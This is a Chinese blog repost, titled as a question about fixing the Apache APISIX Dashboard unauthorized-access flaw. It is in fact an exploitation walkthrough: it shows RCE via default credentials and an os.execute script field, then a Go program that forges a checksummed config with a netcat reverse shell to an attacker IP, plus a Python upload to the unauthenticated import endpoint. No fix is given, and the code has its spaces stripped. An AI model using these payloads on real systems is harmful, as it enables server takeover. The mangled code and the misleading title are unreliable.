Apache?APISIX?Dashboard未授权访问漏洞怎么解决


今天主机评测网小编给大家分享一下ApacheAPISIXDashboard未授权访问漏洞怎么解决的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。

漏洞描述

Apache APISIX 是一个动态、实时、高性能的 API 网关, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX Dashboard 使用户可通过前端界面操作 Apache APISIX。该漏洞的存在是由于 Manager API 中的错误。Manager API 在 gin 框架的基础上引入了 droplet 框架,所有的 API 和鉴权中间件都是基于 droplet 框架开发的。但是有些 API 直接使用了框架 gin 的接口,从而绕过身份验证。

影响范围

Apache APISIX Dashboard < 2.10.1

环境部署

通过git clone apisix-docker

gitclonegithub/apache/apisix-dockercdapisix-docker/example/

修改dockerpose.yml

apache/apisix-dashboard:2.7apache/apisix:2.6-alpine


然后,dockerpose up -d 启动环境

环境起来后,浏览器通过默认端口9000访问apisix dashboard

后台RCE

由于apisix dashboard 默认账号和密码是admin:admin,所以我们先登录到后台,来验证一把远程命令执行

首先创建一个上游服务,点击创建,名称随意命名,目标节点填写我们转发请求的服务,这里我们填写docker附带的Grafana应用,端口号为3000,点击下一步,提交即可。

其次,创建一个路由,名称任意起,路径也是自定义,点击下一步,选择我们刚才创建的上游服务,最后,提交即可。

查看创建的路由

回到路由配置页面,点击配置,然后一直下一步,直到提交时,使用BurpSuite抓包

然后在请求包的body中,添加一个script字段后,发送请求。

"script":"os.execute('touch/tmp/Keepb1ue')"

再次查看,路由配置信息

接着,我们访问一下: 192.168.10.171:9080/rce111

docker中看一下,是否创建了Keepblue这个文件

未授权接口RCE

如果没有默认密码或者弱密码的话,这时我们就利用未授权接口进行RCE了

/apisix/admin/migrate/export/apisix/admin/migrate/import

首先,使用/apisix/admin/migrate/export导出配置文件

因为是未授权,所以在未登陆情况下,BP抓包后,请求接口改为/apisix/admin/migrate/export,点击send后,看到配置文件信息

在导入配置文件时,会对配置文件的checksum值进行校验,那这里其实是可以通过写脚本算出checksum校验值,或者是根据apisix的源码去计算出新的checksum值

源码位置在:apisix-dashboard-master\api\internal\handler\migrate\migrate.go的ExportConfig函数将其计算源码单独抽取出来,并将需要导入的配置(data)进修替换和插入RCE语句

packagemainimport("encoding/binary""fmt""hash/crc32""io/ioutil""os")funcmain(){gen()}funcgen(){data:=[]byte(`{"Counsumers":[],"Routes":[{"id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc192.168.8.142333-e/bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{"host":"192.168.10.171","port":3000,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{"id":"403141558204891851","script":"os.execute('nc192.168.8.142333-e/bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)checksumUint32:=crc32.ChecksumIEEE(data)checksumLength:=4checksum:=make([]byte,checksumLength)binary.BigEndian.PutUint32(checksum,checksumUint32)fileBytes:=append(data,checksum...)content:=fileBytesfmt.Println(content)importData:=content[:len(content)-4]checksum2:=binary.BigEndian.Uint32(content[len(content)-4:])ifchecksum2!=crc32.ChecksumIEEE(importData){fmt.Println(checksum2)fmt.Println(crc32.ChecksumIEEE(importData))fmt.Println("Checksumcheckfail,maybefilebroken")return}err:=ioutil.WriteFile("apisixPayload",content,os.ModePerm)iferr!=nil{fmt.Println("error!!")return}}

运行这段脚本,会生成apisixPayload这个文件

这个就是我们要import上去的计算好校验值的新的配置文件,接下来使用python代码可以简单的传到服务端

importrequestsurl="192.168.10.171:9000/apisix/admin/migrate/import"files={"file":open("apisixPayload","rb")}r=requests.post(url,data={"mode":"overwrite"},files=files)print(r.status_code)print(r.content)

在攻击机上,开启nc监听

接下来,访问路由地址(192.168.10.171:9080/rce111),触发远程命令执行

查看nc反弹shell

反弹成功,说明命令已经执行

以上就是“ApacheAPISIXDashboard未授权访问漏洞怎么解决”这篇文章的所有内容,感谢各位的阅读!相信大家阅读完这篇文章都有很大的收获,小编每天都会为大家更新不同的知识,如果还想学习更多的知识,请关注主机评测网行业资讯频道。


上一篇:skywalking在docker中怎么应用

下一篇:ChatGPT在前端领域怎么应用


Copyright © 2002-2019 测速网 https://www.inhv.cn/ 皖ICP备2023010105号 城市 地区 街道
温馨提示:部分文章图片数据来源与网络,仅供参考!版权归原作者所有,如有侵权请联系删除!
热门搜索